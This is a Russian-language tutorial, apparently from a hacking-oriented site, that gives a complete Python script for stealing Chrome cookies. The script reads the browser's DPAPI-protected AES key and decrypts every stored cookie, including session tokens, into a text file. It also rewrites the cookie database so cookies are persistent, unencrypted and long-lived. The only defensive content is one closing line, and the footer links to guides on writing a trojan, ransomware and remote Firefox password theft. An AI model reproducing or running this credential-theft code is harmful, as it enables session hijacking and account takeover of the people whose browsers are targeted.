Файлы куки (Cookie) — это небольшие фрагменты данных, которые сайты сохраняют на вашем компьютере для отслеживания ваших действий и других фукнций. В статье покажу, как вытащить куки из браузера Google Chrome с помощью Python.
Еще по теме: Извлечение паролей из Chrome на Python
Извлечение куки из Chrome на Python
Для этого проекта нам понадобятся те же библиотеки, что мы использовали для извлечения паролей Chrome. Если вы их еще не установили, установите следующим образом:
1 |
$ pip install pycryptodome pypiwin32 |
Создайте новый файл Python и назовите его chrome_cookie.py, затем импортируйте необходимые модули:
1 2 3 |
import os, json, base64, sqlite3, shutil, win32crypt, sys from datetime import datetime, timedelta from Crypto.Cipher import AES |
Вот две полезные функции, которые мы встречали в статье про извлечение паролей. Они нам пригодятся пригодятся для извлечения куки:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
def get_chrome_datetime(chromedate): # Возвращаем объект 'datetime.datetime' из формата даты Chrome if chromedate != 86400000000 and chromedate: try: return datetime(1601, 1, 1) + timedelta(microseconds=chromedate) except Exception as e: print(f"Ошибка: {e}, chromedate: {chromedate}") else: return "" def get_encryption_key(): local_state_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Local State") with open(local_state_path, "r", encoding="utf-8") as f: local_state = f.read() local_state = json.loads(local_state) # Декодируем ключ шифрования из Base64 key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) # Убираем строку 'DPAPI' key = key[5:] # Возвращаем дешифрованный ключ, который изначально был зашифрован с использованием ключа сеанса, полученного из учетных данных текущего пользователя return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] |
Функция decrypt_data() похожа на использованную нами в предыдущей статье функцию decrypt_password():
1 2 3 4 5 6 7 8 9 10 11 |
def decrypt_data(data, key): try: iv = data[3:15] data = data[15:] cipher = AES.new(key, AES.MODE_GCM, iv) return cipher.decrypt(data)[:-16].decode() except: try: return str(win32crypt.CryptUnprotectData(data, None, None, None, 0)[1]) except: return "" |
Функция принимает данные и ключ AES в качестве параметров и использует ключ для расшифровки данных и их возврата.
Теперь, когда у нас есть все необходимое, давайте перейдем к основной функции:
1 2 3 4 5 6 7 8 9 |
def main(output_file): db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Network", "Cookies") filename = "Cookies.db" if not os.path.isfile(filename): shutil.copyfile(db_path, filename) |
Файл, содержащий данные файлов куки и находится в пути, указанном в переменной db_path. Мы копируем его в текущий каталог, так как база данных будет заблокирована, если браузер Chrome открыт.
Подключение к базе данных SQLite:
1 2 3 4 5 6 7 8 |
db = sqlite3.connect(filename) db.text_factory = lambda b: b.decode(errors="ignore") cursor = db.cursor() cursor.execute(""" SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value FROM cookies""") |
После подключения к базе данных, игнорируем ошибки декодирования, если таковые имеются. Затем, чтобы получить все файлы куки, хранящиеся в этом файле, запрашиваем таблицу cookies с помощью функции cursor.execute(). Можно отфильтровать файлы куки по имени домена, как показано в закомментированном коде.
Теперь давайте получим ключ AES и пройдемся по строкам таблицы cookies, расшифровывая все зашифрованные данные:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
key = get_encryption_key() for host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value in cursor.fetchall(): if not value: decrypted_value = decrypt_data(encrypted_value, key) else: decrypted_value = value with open(output_file, "a") as f: print(f""" Хост: {host_key} Имя файла cookie: {name} Значение файла cookie (расшифровано): {decrypted_value} Дата создания (UTC): {get_chrome_datetime(creation_utc)} Дата последнего доступа (UTC): {get_chrome_datetime(last_access_utc)} Дата истечения срока (UTC): {get_chrome_datetime(expires_utc)} """, file=f) cursor.execute(""" UPDATE cookies SET value = ?, has_expires = 1, expires_utc = 99999999999999999, is_persistent = 1, is_secure = 0 WHERE host_key = ? AND name = ?""", (decrypted_value, host_key, name)) db.commit() db.close() try: os.remove(filename) except: pass |
Мы используем функцию decrypt_data() для расшифровки столбца encrypted_value. Выводим результаты и устанавливаем значение столбца на дешифрованные данные.
Также делаем файл cookie постоянным, устанавливая is_persistent равным 1, и указываем, что он больше не зашифрован, устанавливая is_secure равным .
Вызываем основную функцию:
1 2 3 |
if __name__ == "__main__": output_file = sys.argv[1] main(output_file) |
Запускаем скрипт:
1 |
$ python chrome_cookie.py cookies.txt |
Он отобразит все файлы куки, хранящиеся в браузере Chrome, включая зашифрованные файлы. Вот пример результатов, сохраненных в файл cookies.txt:
Отлично, теперь вы знаете, как извлекать файлы куки Chrome с помощью Python.
Для защиты от этого вы можете удалить все файлы куки в браузере. Альтернативное решение — использовать режим инкогнито. В этом случае браузер Chrome не сохраняет историю посещений, файлы куки, данные сайтов или какую-либо другую информацию.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Как написать троян на Python
- Как написать шифровальщик на Python
- Как удаленно украсть и расшифровать пароли Firefox